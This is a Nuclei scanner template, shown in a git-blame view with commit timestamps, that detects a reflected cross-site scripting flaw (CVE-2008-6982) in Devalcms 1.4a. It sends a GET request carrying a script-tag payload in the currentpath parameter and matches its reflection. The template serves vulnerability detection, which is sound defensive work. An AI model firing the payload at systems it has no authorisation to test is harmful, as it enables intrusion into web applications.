nuclei-templates/http/cves/2008/CVE-2008-6982.yaml

53 lines
1.8 KiB
YAML
Raw Normal View History

id: CVE-2008-6982
2022-08-22 07:17:05 +00:00
2022-07-20 08:56:54 +00:00
info:
name: Devalcms 1.4a - Cross-Site Scripting
2022-07-20 08:56:54 +00:00
author: arafatansari
2023-07-11 19:49:27 +00:00
severity: medium
2022-07-20 08:56:54 +00:00
description: |
Devalcms 1.4a contains a cross-site scripting vulnerability in the currentpath parameter of the index.php file.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 13:22:34 +00:00
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
2022-07-20 09:12:25 +00:00
reference:
- https://www.exploit-db.com/exploits/6369
- http://sourceforge.net/projects/devalcms/files/devalcms/devalcms-1.4b/devalcms-1.4b.zip/download
- https://nvd.nist.gov/vuln/detail/CVE-2008-6982
2023-07-11 19:49:27 +00:00
- https://exchange.xforce.ibmcloud.com/vulnerabilities/44940
classification:
2023-07-11 19:49:27 +00:00
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cvss-score: 4.3
cve-id: CVE-2008-6982
cwe-id: CWE-79
2023-07-11 19:49:27 +00:00
epss-score: 0.0038
epss-percentile: 0.69925
2023-09-06 13:22:34 +00:00
cpe: cpe:2.3:a:devalcms:devalcms:1.4a:*:*:*:*:*:*:*
2022-07-20 09:12:25 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 13:22:34 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: devalcms
product: devalcms
2022-11-29 05:53:51 +00:00
tags: cve,cve2008,devalcms,xss,cms,edb
2022-07-20 08:56:54 +00:00
http:
2022-07-20 08:56:54 +00:00
- method: GET
path:
2022-07-20 09:12:25 +00:00
- '{{BaseURL}}/index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2022-07-20 08:56:54 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-07-20 09:12:25 +00:00
- 'sub menu for: <script>alert(document.domain)</script>'
2022-07-20 08:56:54 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
2022-07-20 09:07:43 +00:00
- 500
# digest: 490a00463044022060c1d7a1d7f167f4a7725386e3770f50fc41cf720cfb3766a490be90bbfc632902207e45517728eabf9310ab9dc5a100c296a85431a2f94ce584aefb7d6c05833a1f:922c64590222798bb761d5b6d8e72950